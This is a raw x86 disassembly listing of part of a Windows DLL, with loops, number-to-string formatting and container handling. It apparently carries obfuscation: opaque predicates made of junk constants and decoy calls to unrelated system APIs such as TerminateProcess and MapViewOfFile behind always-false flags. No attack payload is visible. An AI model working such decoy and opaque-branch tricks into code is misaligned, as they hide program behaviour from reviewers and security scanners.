mov dword [ebp - 0x2c], ecx
mov esi, ecx
imul eax, esi, 0xc
lea ecx, [edi + 0xc]
xor edx, edx
inc edx
add ecx, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x50], ecx
lea ecx, [ebx + 4]
lea ecx, [ecx + esi*4]
mov dword [ebp - 0x40], ecx
mov eax, dword [eax + edi]
mov ecx, dword [eax + edx*4]
test ecx, ecx
js 0x1004250d
mov eax, dword [ebp - 0x2c]
cmp eax, ecx
cmovle eax, ecx
mov dword [ebp - 0x2c], eax
lea eax, [esi - 1]
add eax, edx
cmp eax, 0x72
jge 0x1004250d
mov eax, dword [ebx + eax*4]
add ecx, eax
lea eax, [esi - 1]
add eax, edx
imul eax, eax, 0xc
mov eax, dword [eax + edi]
cmp dword [eax + edx*4 - 4], ecx
cmovg ecx, dword [eax + edx*4 - 4]
mov dword [eax + edx*4 - 4], ecx
lea eax, [edx + esi]
cmp eax, 0x72
jge 0x1004250d
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + edi]
mov ecx, dword [eax + edx*4]
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
add ecx, eax
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
cmp dword [eax + edx*4], ecx
cmovg ecx, dword [eax + edx*4]
mov dword [eax + edx*4], ecx
lea ecx, [esi + 1]
add ecx, edx
cmp ecx, 0x72
jge 0x1004250d
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebx + ecx*4]
mov eax, dword [eax + edi]
mov eax, dword [eax + edx*4]
add ecx, eax
lea eax, [esi + 1]
add eax, edx
imul eax, eax, 0xc
mov eax, dword [eax + edi]
cmp dword [eax + edx*4 + 4], ecx
cmovg ecx, dword [eax + edx*4 + 4]
mov dword [eax + edx*4 + 4], ecx
add dword [ebp - 0x40], 4
inc edx
add dword [ebp - 0x50], 0xc
mov eax, dword [ebp - 0x28]
cmp edx, 0x72
jl 0x10042476
inc esi
cmp esi, 0x72
jl 0x1004245c
mov eax, dword [ebp - 0x2c]
push eax
push 0x1000b238
call fcn.10057af6
pop ecx
pop ecx
lea ecx, [ebp - 0x260]
call fcn.100371e6
push 0xa
pop eax
lea ecx, [ebp - 0x740]
mov byte [ebp - 4], al
call fcn.10010c2b
xor ebx, ebx
mov dword [ebp - 0x28], ebx
cmp dword [ebp - 0x28], ebx
jl 0x10042622
mov dword [ebp - 0x50], 0xffffffff
xor ecx, ecx
mov dword [ebp - 0x40], 0x36fe5438
mov eax, dword [ebp - 0x50]
cmp eax, 0x213aabdc
mov eax, dword [ebp - 0x50]
setne cl
xor edx, edx
cmp ecx, eax
setg dl
inc dword [ebp - 0x40]
mov eax, dword [ebp - 0x40]
xor ecx, ecx
cmp eax, edx
mov eax, dword [ebp - 0x1c]
setl cl
xor edx, edx
cmp ecx, eax
setge dl
sub edx, 0xfffe
add edx, dword [ebp - 0x104]
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x1c], edx
xor edx, edx
mov ecx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x1c]
cmp eax, ecx
setge dl
add edx, 0x47ebdcf2
mov dword [ebp - 0x40], edx
mov eax, dword [ebp - 0x40]
sub eax, dword [ebp - 0x5c]
jne 0x100425dd
cmp dword [ebp - 0x54], ebx
jne 0x100425dd
mov edi, ebx
jmp 0x100425e0
xor edi, edi
inc edi
mov esi, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x21c]
mov edx, dword [ebp - 0x21c]
mov eax, dword [eax + ecx*4]
xor ecx, ecx
mov dword [edx + esi*4], eax
cmp eax, 0x51162d50
mov eax, dword [ebp - 0x44]
mov edx, 0xfff9
setge cl
imul eax, edi
sub edx, ecx
xor ecx, ecx
cmp edx, eax
setne cl
mov dword [ebp - 0x70], ecx
dec dword [ebp - 0x28]
jns 0x10042566
dec dword [ebp - 0x24]
jns 0x10042351
inc dword [ebp - 0x30]
push 1
pop edx
cmp dword [ebp - 0x30], ebx
jle 0x100422e6
dec dword [ebp - 0x38]
push 1
pop edx
jns 0x100422b5
mov eax, dword [ebp - 0x270]
inc dword [eax]
cmp dword [eax], 0
jle 0x1004228e
lea ecx, [ebp - 0x270]
call fcn.10010c2b
lea ecx, [ebp - 0x21c]
mov byte [ebp - 4], 5
call fcn.10010c2b
inc dword [ebp - 0x34]
push 1
pop eax
cmp dword [ebp - 0x34], 5
jl 0x10042211
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x360]
shl ecx, 2
mov edx, dword [eax + 8]
mov eax, dword [ebp - 0x4c]
sub edx, ecx
inc edx
neg edx
sbb edx, edx
xor ebx, ebx
inc edx
cmp edx, eax
setne bl
imul ebx, dword [ebp - 0x4c]
sub ebx, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x10]
neg ebx
sbb ebx, ebx
xor ecx, ecx
inc ebx
cmp ebx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x34], ecx
mov ecx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x18]
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setg dl
xor ebx, ebx
cmp edx, eax
mov eax, dword [ebp - 0x4c]
setl bl
xor ecx, ecx
cmp ebx, eax
setl cl
cmp dword [ebp - 0x20], ecx
jle 0x10042ad1
mov dword [ebp - 0x20], 0xfffffff7
xor ebx, ebx
mov dword [ebp - 0x20], 0x1b
cmp dword [ebp - 0x20], 0xfffffff3
jg 0x10042843
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x20], ebx
jne 0x10042843
mov dword [ebp - 0x44], 0x1637
cmp dword [ebp - 0x44], 0x1251
jge 0x10042823
push ebx
push ebx
lea ecx, [ebp - 0x2b8]
mov dword [ebp - 0x2a8], ebx
mov dword [ebp - 0x2a4], ebx
call fcn.10010a75
lea edx, [ebp - 0x2b8]
mov byte [ebp - 4], 0xd
mov ecx, 0x10665668
call fcn.10037aa9
sub esp, 0x18
lea eax, [ebp - 0x2b8]
mov ecx, esp
push eax
call fcn.1001021d
lea ecx, [ebp - 0x8f8]
call fcn.10040319
add esp, 0x18
lea ecx, [ebp - 0x2b8]
push eax
call fcn.1001075f
push ebx
push 1
lea ecx, [ebp - 0x8f8]
call fcn.10010a75
sub esp, 0x18
lea eax, [ebp - 0x2b8]
mov ecx, esp
push eax
call fcn.1001021d
lea ecx, [ebp - 0x910]
call fcn.10040387
add esp, 0x18
lea ecx, [ebp - 0x2b8]
push eax
call fcn.1001075f
push ebx
push 1
lea ecx, [ebp - 0x910]
call fcn.10010a75
sub esp, 0x18
lea eax, [ebp - 0x2b8]
mov ecx, esp
push eax
call fcn.1001021d
lea ecx, [ebp - 0x928]
call fcn.10040463
add esp, 0x18
lea ecx, [ebp - 0x2b8]
push eax
call fcn.1001075f
push ebx
push 1
lea ecx, [ebp - 0x928]
call fcn.10010a75
lea edx, [ebp - 0x2b8]
mov ecx, 0x106655b8
call fcn.10013eb2
push eax
call fcn.10013e5a
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x2b8]
mov byte [ebp - 4], 5
call fcn.10010a75
mov dword [ebp - 0x10], ebx
jmp 0x10042835
mov dword [ebp - 0x1c], 0xffffffff
inc dword [ebp - 0x1c]
dec dword [ebp - 0x10]
cmp dword [ebp - 0x10], 0xfffffff2
jle 0x10042828
dec dword [ebp - 0x20]
jmp 0x100426f8
mov dword [ebp - 0x1c], ebx
xor ecx, ecx
push 3
mov dword [ebp - 0x20], 9
inc ecx
mov dword [ebp - 0x10], ebx
pop edi
cmp dword [ebp - 0x10], edi
jge 0x1004286a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x5bc], ecx
inc dword [ebp - 0x10]
jmp 0x10042856
mov dword [ebp - 0x20], ebx
jmp 0x10042911
mov dword [ebp - 0x18], ecx
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10042886
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuW]
mov dword [ebp - 0x18], ebx
jmp 0x10042905
mov dword [ebp - 0x10], ebx
jmp 0x100428a1
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x440], 0xbc781ced
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x10042890
mov eax, dword [ebp - 0x18]
xor edx, edx
mov eax, dword [ebp + eax*4 - 0x5bc]
cmp eax, 0xffff
mov eax, dword [ebp - 0x18]
sete dl
xor ecx, ecx
mov eax, dword [ebp + eax*4 - 0x5bc]
cmp eax, edx
mov eax, dword [ebp - 0x18]
setne cl
mov dword [ebp + eax*4 - 0x5bc], ecx
mov dword [ebp - 0x434], 0xfffffff8
jmp 0x100428f9
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x100428f3
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetCommState]
dec dword [ebp - 0x434]
cmp dword [ebp - 0x434], 0xffffffe3
je 0x100428e2
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x1004288b
inc dword [ebp - 0x20]
push 1
pop ecx
cmp dword [ebp - 0x20], 0x15
jne 0x10042872
mov dword [ebp - 0x1c], ebx
lea ecx, [ebp - 0x484]
push 1
call fcn.100105fb
mov dword [ebp - 0x1bc], ebx
xor edx, edx
mov dword [ebp - 0x1b8], ebx
inc edx
mov dword [ebp - 0x1b4], ebx
mov dword [ebp - 0x1b0], ebx
mov dword [ebp - 0x10], ebx
jmp 0x1004295e
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x484]
mov dword [eax + ecx*4], 8
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1004294b
mov dword [ebp - 0x1b0], ebx
jmp 0x10042980
mov ecx, dword [ebp - 0x1b0]
mov eax, dword [ebp - 0x484]
mov dword [eax + ecx*4], edx
inc dword [ebp - 0x1b0]
cmp dword [ebp - 0x1b0], edx
jl 0x1004296b
mov eax, dword [ebp - 0x1bc]
lea ecx, [ebp - 0x484]
mov dword [ebp - 0x1b0], eax
call fcn.10010c2b
mov dword [ebp - 0x4c], ebx
jmp 0x10042ac0
push 1
lea ecx, [ebp - 0x280]
call fcn.100105fb
mov dword [ebp - 0x24], 0x76942a1e
xor edx, edx
mov dword [ebp - 0x18], 0x63d18804
inc edx
mov dword [ebp - 0x10], ebx
jmp 0x100429dd
mov ecx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x280]
mov dword [eax + ecx*4], 0xfffffff6
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x100429ca
mov eax, dword [ebp - 0x280]
cmp dword [eax], ebx
jne 0x10042a38
mov dword [ebp - 0x24], ebx
xor ecx, ecx
mov eax, dword [ebp - 0x24]
test eax, eax
setle cl
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], ebx
jne 0x10042a38
mov dword [ebp - 0x44], 8
mov dword [ebp - 0x54], 0x4956e74e
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x54], eax
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10042a94
push ebx
push 0x118a
push ebx
push ebx
push 0x19f0
push 0xed5
call dword [sym.imp.USER32.dll_ToAsciiEx]
jmp 0x10042a94
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10042a59
push ebx
push 0xaef
push ebx
push 0x183f
push ebx
push 0x894
call dword [sym.imp.USER32.dll_DrawTextExW]
mov dword [ebp - 0x18], ebx
jmp 0x10042a8f
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x280]
mov eax, dword [ecx + eax*4]
mov dword [ecx + edx*4], eax
xor edx, edx
mov dword [ebp - 0x24], ebx
inc edx
jmp 0x10042a87
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x280]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], edx
jl 0x10042a78
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x10042a5e
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10042aa9
push 0x134a
push ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [ebp - 0x280]
call fcn.10010c2b
cmp dword [ebp - 0x1c], ebx
jne 0x10043499
inc dword [ebp - 0x4c]
push 0xa
pop eax
cmp dword [ebp - 0x4c], eax
jge 0x100429a7
jmp 0x10043499
movdqa xmm0, xmmword [0x1000b940]
lea ecx, [ebp - 0x7d8]
push ecx
lea eax, [ebp - 0x7c8]
mov dword [ebp - 0x30], 0x4e064826
push eax
push ecx
lea ecx, [ebp - 0x384]
movdqu xmmword [ebp - 0x7d8], xmm0
call fcn.10010657
xor ebx, ebx
mov dword [ebp - 0x44], 6
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x10042b2e
push 0x25ea
push 0x1f64
push 0xa41
push 0x1d7d
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [ebp - 0x30], 0xffffffe9
jmp 0x10042c1c
mov dword [ebp - 0x24], 0x5145ccb9
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0x384]
mov dword [eax], ecx
test ecx, ecx
je 0x10042be2
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 0xfffffff4
jle 0x10042bc2
mov esi, dword [ebp - 0x384]
mov dword [ebp - 0x44], 0xa272
xor edx, edx
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x30]
cmp eax, ecx
mov eax, dword [ebp - 0x24]
setg dl
xor ecx, ecx
cmp edx, eax
setne cl
add ecx, dword [ebp - 0x24]
je 0x10042b97
cmp dword [ebp - 0x44], ebx
je 0x10042b97
xor ecx, ecx
inc ecx
jmp 0x10042b99
mov ecx, ebx
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x384]
sete dl
mov ecx, dword [eax]
mov eax, dword [ebp - 0x18]
sub ecx, edx
add eax, ecx
imul eax, dword [ebp - 0x18]
mov dword [esi + 4], eax
dec dword [ebp - 0x18]
cmp dword [ebp - 0x18], 0xfffffff4
jg 0x10042b6a
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x10042c19
push 0x2020
push ebx
push 0x89d
push 0x52f
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
jmp 0x10042c19
push 3
mov dword [ebp - 0x24], ebx
pop esi
jmp 0x10042c14
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x10042bfe
push 0x1675
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], bl
je 0x10042c11
push 0x1f96
call dword [sym.imp.KERNEL32.dll_Sleep]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], esi
jle 0x10042bea
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], 0xb
jg 0x10042b3a
lea ecx, [ebp - 0x384]
call fcn.10010c2b
push 0xfffffffffffffffb
pop eax
mov dword [ebp - 0x70], 0xba8a7e8b
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], eax
jge 0x10043496
push 0xa
mov dword [ebp - 0x10], 0x53b26bdd
mov dword [ebp - 0x10], ebx
pop eax
jmp 0x10042c7d
mov dword [ebp - 0x44], 0x318d5816
cmp dword [ebp - 0x44], ebx
jne 0x10042c82
mov byte [ebp - 0x11], bl
cmp byte [ebp - 0x11], 0
je 0x10042c7a
push ebx
push 0x24a6
call dword [sym.imp.USER32.dll_KillTimer]
push 0xa
pop eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], eax
jle 0x10042c56
mov dword [ebp - 0x50], 0xffffffff
mov dword [ebp - 0x18], 0xffffffff
push 3
mov dword [ebp - 0x1c], 0x415d7249
mov dword [ebp - 0x2c], ebx
pop edi
jmp 0x10042cac
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x680], ebx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], edi
jl 0x10042c9f
xor ecx, ecx
mov dword [ebp - 0x2c], ebx
inc ecx
jmp 0x10042cca
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x6b4], 0x8c66f5a9
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], ecx
jl 0x10042cb9
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], 2
jg 0x10042cf8
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + eax*4 - 0x680]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x680], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jle 0x10042cd8
xor ecx, ecx
inc ecx
dec dword [ebp - 0x1c]
mov dword [ebp - 0x34], ebx
cmp dword [ebp - 0x34], 0xffffffeb
jne 0x10043487
jmp 0x10042d0d
xor ecx, ecx
inc ecx
mov dword [ebp - 0x18], 0x7a3a11c1
mov dword [ebp - 0x24], 0xe7bff44c
mov dword [ebp - 0x44], 0x196e86ff
mov dword [ebp - 0x1c], 0xec415051
mov dword [ebp - 0x54], 0xfe3d2f55
mov dword [ebp - 0x54], 7
mov dword [ebp - 0x10], ebx
jmp 0x10042d4d
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x814], 0x3a5bed85
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x10042d3c
mov dword [ebp - 0x24], 0xf4727cad
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], 9
je 0x10042d90
cmp dword [ebp - 0x24], ebx
jne 0x10042d90
mov ecx, ebx
mov eax, dword [ebp - 0x18]
xor edx, edx
cmp eax, ecx
setl dl
sub edx, dword [ebp - 0x18]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
mov dword [ebp - 0x80c], edx
mov eax, dword [ebp - 0x18]
cmp edx, eax
setne cl
cmp ecx, 0xfffd
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, 2
setl cl
mov dword [ebp - 0x54], ecx
xor ecx, ecx
inc ecx
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x44], 0x13d7
cmp dword [ebp - 0x44], 0x5ff
jge 0x1004314d
xor cl, cl
call fcn.100149fb
push ebx
push ebx
lea ecx, [ebp - 0x13c]
mov dword [ebp - 0x12c], ebx
mov dword [ebp - 0x128], ebx
call fcn.10010a75
lea edx, [ebp - 0x13c]
mov byte [ebp - 4], 0xe
mov ecx, 0x10665668
call fcn.10037aa9
push 0x1000b125
lea ecx, [ebp - 0x1f8]
call fcn.10010254
mov byte [ebp - 4], 0xf
mov esi, ebx
mov edi, dword [ebp - 0x12c]
push 0x10
pop ebx
test edi, edi
je 0x10042ea6
mov ecx, dword [ebp - 0x128]
mov edx, dword [ebp - 0x13c]
cmp dword [ebp - 0x1e8], 0
jne 0x10042e5d
cmp ecx, ebx
lea eax, [ebp - 0x13c]
cmovae eax, edx
cmp byte [eax + esi], 0x30
je 0x10042ea1
cmp ecx, ebx
lea eax, [ebp - 0x13c]
cmovae eax, edx
cmp byte [eax + esi], 0x2e
je 0x10042ea6
cmp ecx, ebx
lea eax, [ebp - 0x13c]
lea ecx, [ebp - 0x1f8]
cmovae eax, edx
mov al, byte [eax + esi]
mov byte [ebp - 0x5c], al
push dword [ebp - 0x5c]
push 1
call fcn.10013383
mov ecx, dword [ebp - 0x128]
mov edi, dword [ebp - 0x12c]
mov edx, dword [ebp - 0x13c]
inc esi
cmp esi, edi
jb 0x10042e43
push 0x1000b125
lea ecx, [ebp - 0xfc]
call fcn.10010254
push ecx
push ecx
lea ecx, [ebp - 0x13c]
mov byte [ebp - 4], bl
call fcn.1004e4fe
cmp eax, 0xffffffff
je 0x10042f80
mov esi, dword [ebp - 0x12c]
dec esi
js 0x10042f3f
mov ecx, dword [ebp - 0x128]
mov edx, dword [ebp - 0x13c]
cmp dword [ebp - 0xec], 0
jne 0x10042efe
cmp ecx, ebx
lea eax, [ebp - 0x13c]
cmovae eax, edx
cmp byte [esi + eax], 0x30
je 0x10042f3c
cmp ecx, ebx
lea eax, [ebp - 0x13c]
cmovae eax, edx
cmp byte [esi + eax], 0x2e
je 0x10042f3f
cmp ecx, ebx
lea eax, [ebp - 0x13c]
lea ecx, [ebp - 0xfc]
cmovae eax, edx
mov al, byte [esi + eax]
mov byte [ebp - 0x6c], al
push dword [ebp - 0x6c]
push 1
call fcn.10013383
mov ecx, dword [ebp - 0x128]
mov edx, dword [ebp - 0x13c]
dec esi
jns 0x10042ee4
mov edi, dword [ebp - 0xe8]
lea eax, [ebp - 0x728]
cmp edi, ebx
lea esi, [ebp - 0xfc]
mov ebx, dword [ebp - 0xfc]
lea ecx, [ebp - 0xfc]
push eax
cmovae esi, ebx
call fcn.10036dd7
mov edx, dword [eax]
cmp esi, edx
je 0x10042f8c
dec edx
cmp esi, edx
je 0x10042f80
mov cl, byte [esi]
mov al, byte [edx]
mov byte [esi], al
inc esi
mov byte [edx], cl
cmp esi, edx
jne 0x10042f6e
mov edi, dword [ebp - 0xe8]
mov ebx, dword [ebp - 0xfc]
cmp dword [ebp - 0x1e8], 0
jne 0x10043023
xor esi, esi
cmp edi, 0x10
lea eax, [ebp - 0xfc]
cmovae eax, ebx
cmp byte [esi + eax], 0x30
jne 0x10042fb0
inc esi
jmp 0x10042f9b
or eax, 0xffffffff
sub eax, esi
cmp edi, 0x10
mov dword [ebp - 0x44], eax
mov edi, 0x106655b8
lea eax, [ebp - 0xfc]
mov ecx, edi
cmovae eax, ebx
mov dl, byte [esi + eax]
call fcn.1004ecd5
mov eax, dword [ebp - 0xec]
inc esi
cmp esi, eax
jae 0x1004301b
mov edx, 0x1000b420
mov ecx, edi
call fcn.10013c83
mov eax, dword [ebp - 0xec]
cmp esi, eax
jae 0x1004301b
cmp dword [ebp - 0xe8], 0x10
lea eax, [ebp - 0xfc]
mov ecx, edi
cmovae eax, dword [ebp - 0xfc]
mov dl, byte [esi + eax]
call fcn.1004ecd5
inc esi
cmp esi, dword [ebp - 0xec]
jb 0x10042ff4
push dword [ebp - 0x44]
jmp 0x100430fe
cmp dword [ebp - 0x1e4], 0x10
lea eax, [ebp - 0x1f8]
mov edi, 0x106655b8
cmovae eax, dword [ebp - 0x1f8]
mov ecx, edi
mov dl, byte [eax]
call fcn.1004ecd5
mov esi, dword [ebp - 0x1e8]
xor ebx, ebx
mov ecx, dword [ebp - 0xec]
dec esi
test ecx, ecx
jne 0x10043076
cmp dword [ebp - 0x1e4], 0x10
lea eax, [ebp - 0x1f8]
cmovae eax, dword [ebp - 0x1f8]
cmp byte [esi + eax], 0x30
jne 0x10043076
inc ebx
dec esi
jmp 0x10043058
test esi, esi
jg 0x1004307e
test ecx, ecx
je 0x10043090
mov edx, 0x1000b420
mov ecx, edi
call fcn.10013c83
mov ecx, dword [ebp - 0xec]
xor eax, eax
inc eax
mov edi, eax
cmp esi, eax
jl 0x100430c7
add ebx, esi
cmp dword [ebp - 0x1e4], 0x10
lea eax, [ebp - 0x1f8]
mov ecx, 0x106655b8
cmovae eax, dword [ebp - 0x1f8]
mov dl, byte [edi + eax]
call fcn.1004ecd5
inc edi
cmp edi, esi
jle 0x1004309b
mov ecx, dword [ebp - 0xec]
xor esi, esi
mov edi, 0x106655b8
test ecx, ecx
je 0x100430f9
cmp dword [ebp - 0xe8], 0x10
lea eax, [ebp - 0xfc]
mov ecx, edi
cmovae eax, dword [ebp - 0xfc]
mov dl, byte [esi + eax]
call fcn.1004ecd5
inc esi
cmp esi, dword [ebp - 0xec]
jb 0x100430d2
test ebx, ebx
jle 0x1004311a
push ebx
push ecx
mov edx, 0x1000b814
mov ecx, edi
call fcn.10013c83
pop ecx
mov ecx, eax
call fcn.10036506
push eax
call fcn.10013e5a
pop ecx
xor ebx, ebx
lea ecx, [ebp - 0xfc]
push ebx
push 1
call fcn.10010a75
push ebx
push 1
lea ecx, [ebp - 0x1f8]
call fcn.10010a75
push ebx
push 1
lea ecx, [ebp - 0x13c]
mov byte [ebp - 4], 5
call fcn.10010a75
xor ecx, ecx
inc ecx
mov dword [ebp - 0x1c], 0x8939f5fa
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x1c], 0x8d72a67f
mov dword [ebp - 0x1c], 0x826f393
mov dword [ebp - 0x1c], 0xfffffff8
mov dword [ebp - 0x1c], 0x4ed383de
mov dword [ebp - 0x2c], ebx
jmp 0x10043189
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x120], 0x5d16df25
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x10043178
mov dword [ebp - 0x2c], ebx
jmp 0x100431a1
mov eax, dword [ebp - 0x2c]
mov dword [ebp + eax*4 - 0x768], ecx
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 2
jl 0x10043194
mov byte [ebp - 0x11], bl
mov dword [ebp - 0x44], 0x166b
cmp dword [ebp - 0x44], 0x463
jge 0x1004337a
lea eax, [ebp - 0x98]
mov dword [ebp - 0x98], ebx
push eax
push 0x1000b1b8
call fcn.100578db
pop ecx
pop ecx
mov dword [ebp - 0xac], ebx
mov dword [ebp - 0xa8], ebx
call fcn.1004ebe2
mov dword [ebp - 0xac], eax
mov byte [ebp - 4], 0x11
or esi, 0xffffffff
mov eax, dword [ebp - 0x98]
xor bh, bh
mov dword [ebp - 0x144], esi
test eax, eax
je 0x100432e6
dec eax
mov dword [ebp - 0x98], eax
lea eax, [ebp - 0x100]
push eax
push 0x1000b1b8
call fcn.100578db
pop ecx
pop ecx
mov ecx, dword [ebp - 0x100]
test ecx, ecx
jne 0x1004324c
movzx eax, byte [0x119e32ca]
and dword [ebp - 0x294], ecx
push eax
lea eax, [ebp - 0x294]
push eax
lea eax, [ebp - 0x894]
jmp 0x1004326c
cmp ecx, 0x6e
jne 0x1004327b
movzx eax, byte [0x119e32ca]
push eax
lea eax, [ebp - 0x310]
mov dword [ebp - 0x310], ecx
push eax
lea eax, [ebp - 0x8cc]
push ecx
push eax
lea ecx, [ebp - 0xac]
call fcn.1004f006
jmp 0x100432d2
test bl, bl
jne 0x100432a3
push 0xa
pop eax
cmp ecx, eax
jge 0x100432a3
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0x8b4]
push eax
lea ecx, [ebp - 0xac]
call fcn.1004e68c
inc bl
jmp 0x100432d2
test bh, bh
jne 0x100432d0
mov eax, ecx
push 0xa
cdq
pop edi
idiv edi
test edx, edx
jne 0x100432d0
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0x8c4]
push eax
lea ecx, [ebp - 0xac]
call fcn.1004e68c
inc bh
jmp 0x100432d2
mov esi, ecx
mov eax, dword [ebp - 0x98]
test eax, eax
jne 0x1004320b
mov dword [ebp - 0x144], esi
dec eax
mov dword [ebp - 0x98], eax
test bl, bl
jne 0x10043312
test bh, bh
jne 0x10043312
test esi, esi
jle 0x10043312
lea eax, [ebp - 0x144]
push eax
lea eax, [ebp - 0x8bc]
push eax
lea ecx, [ebp - 0xac]
call fcn.1004e68c
push dword [ebp - 0xa8]
push 0x1000b818
call fcn.10057af6
pop ecx
pop ecx
mov ecx, dword [ebp - 0xac]
mov eax, dword [ecx]
mov dword [ebp - 0x148], eax
cmp eax, ecx
je 0x1004335e
push dword [eax + 0x10]
push 0x1000b1e0
call fcn.10057af6
pop ecx
pop ecx
lea ecx, [ebp - 0x148]
call fcn.100377c4
mov eax, dword [ebp - 0x148]
cmp eax, dword [ebp - 0xac]
jne 0x10043336
push 0x1000b125
call fcn.10057cb6
pop ecx
lea ecx, [ebp - 0xac]
mov byte [ebp - 4], 5
call fcn.1004e6aa
xor ebx, ebx
cmp byte [ebp - 0x11], 0
je 0x10043396
push ebx
push 0xde6
push 0x22a5
push 0x66f
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
mov dword [ebp - 0x764], 0xa8afc1da
mov dword [ebp - 0x1c], 0xa8afc1da
mov edx, dword [ebp - 0x40]
mov eax, dword [ebp - 0x1c]
sub edx, 2
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp eax, edx
setg cl
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x40]
jle 0x100433d3
cmp dword [ebp - 0x11c], ebx
jne 0x100433d3
mov edx, ebx
jmp 0x100433d6
xor edx, edx
inc edx
mov eax, dword [ebp - 0x11c]
xor ecx, ecx
neg edx
cmp edx, eax
mov eax, dword [ebp - 0x11c]
push 3
setl cl
xor edx, edx
cmp eax, ecx
pop edi
setl dl
sub edx, 0xfffffffc
neg edx
sbb edx, edx
inc edx
mov dword [ebp - 0x1c], edx
imul eax, dword [ebp - 0x1c], 0xffff
mov ecx, dword [ebp - 0x120]
sub ecx, eax
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x1c]
sub eax, dword [ebp - 0x11c]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x11c]
cmp eax, ecx
setl dl
